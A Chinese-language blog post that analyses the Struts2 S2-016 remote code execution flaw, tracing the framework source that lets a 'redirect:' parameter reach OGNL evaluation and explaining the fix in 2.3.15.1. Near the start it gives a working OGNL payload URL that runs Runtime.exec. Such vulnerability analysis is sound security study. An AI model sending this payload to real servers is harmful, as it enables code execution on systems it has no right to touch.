前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.14.3 版本的 struts2 + Tomcat 9。
不需要加什么代码。
漏洞利用
利用 payload(redirect 和 redirect 需要已有的 Action):
http://localhost:8080/login.action
?redirect:%25%7b%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3dfalse,%23m%3d%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')%7d
action 参数似乎无法触发,没有进行表达式解析。
漏洞分析
根据 action 的 action 不存在的报错栈,可以找到 DefaultActionProxy 类的 prepare 方法,错误原因就是将 action 参数的值作为一个 Action 名而不是一个表达式,导致获取相关配置时失败:
config = configuration.getRuntimeConfiguration().getActionConfig(namespace, actionName);
if (config == null && unknownHandlerManager.hasUnknownHandlers()) {
config = unknownHandlerManager.handleUnknownAction(namespace, actionName);
}
if (config == null) {
throw new ConfigurationException(getErrorMessage());
}
继续往上寻找,可以看到 actionName 和 namespace 来自 mapping:
String namespace = mapping.getNamespace();
String name = mapping.getName();
String method = mapping.getMethod();
Configuration config = configurationManager.getConfiguration();
ActionProxy proxy = config.getContainer().getInstance(ActionProxyFactory.class).createActionProxy(
namespace, name, method, extraContext, true, false);
继续往上,可以找到 DefaultActionMapper 类的 handleSpecialParameters 方法:
public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
// handle special parameter prefixes.
Set<String> uniqueParameters = new HashSet<String>();
Map parameterMap = request.getParameterMap();
for (Object o : parameterMap.keySet()) {
String key = (String) o;
// Strip off the image button location info, if found
if (key.endsWith(".x") || key.endsWith(".y")) {
key = key.substring(0, key.length() - 2);
}
// Ensure a parameter doesn't get processed twice
if (!uniqueParameters.contains(key)) {
ParameterAction parameterAction = (ParameterAction) prefixTrie.get(key);
if (parameterAction != null) {
parameterAction.execute(key, mapping);
uniqueParameters.add(key);
break;
}
}
}
}
调用 parameterAction.execute 函数时会向 mapping 里面设置 name、result 等成员,比如 action、redirect 和 redirectAction 的 execute 函数(DefaultActionMapper 类中):
put(ACTION_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
int bang = name.indexOf('!');
if (bang != -1) {
String method = name.substring(bang + 1);
mapping.setMethod(method);
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
put(REDIRECT_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();
container.inject(redirect);
redirect.setLocation(key.substring(REDIRECT_PREFIX
.length()));
mapping.setResult(redirect);
}
});
put(REDIRECT_ACTION_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String location = key.substring(REDIRECT_ACTION_PREFIX
.length());
ServletRedirectResult redirect = new ServletRedirectResult();
container.inject(redirect);
String extension = getDefaultExtension();
if (extension != null && extension.length() > 0) {
location += "." + extension;
}
redirect.setLocation(location);
mapping.setResult(redirect);
}
});
可以看到,参数名为 action 的情况下,会将值作为 name,也就是后面的 actionName,也就导致了后面无法找到对应 action 的错误。
而在 redirect 和 redirectAction 的情况下,完成 createActionProxy 后来到这里:
// if the ActionMapping says to go straight to a result, do it!
if (mapping.getResult() != null) {
Result result = mapping.getResult();
result.execute(proxy.getInvocation());
} else {
proxy.execute();
}
因为当时将表达式作为了 result,所以会进入 result 的 execute 函数,来到:
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
可以发现这里就是 S2-015 里面通配符 action 的表达式解析触发点。
漏洞修复
2.3.15.1 版本的修复,直接删除了 DefaultActionMapper 类中 redirect 和 redirectAction 的 execute 函数,还给 action 的 action 名做了清理(类似 S2-015)。
Orz
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!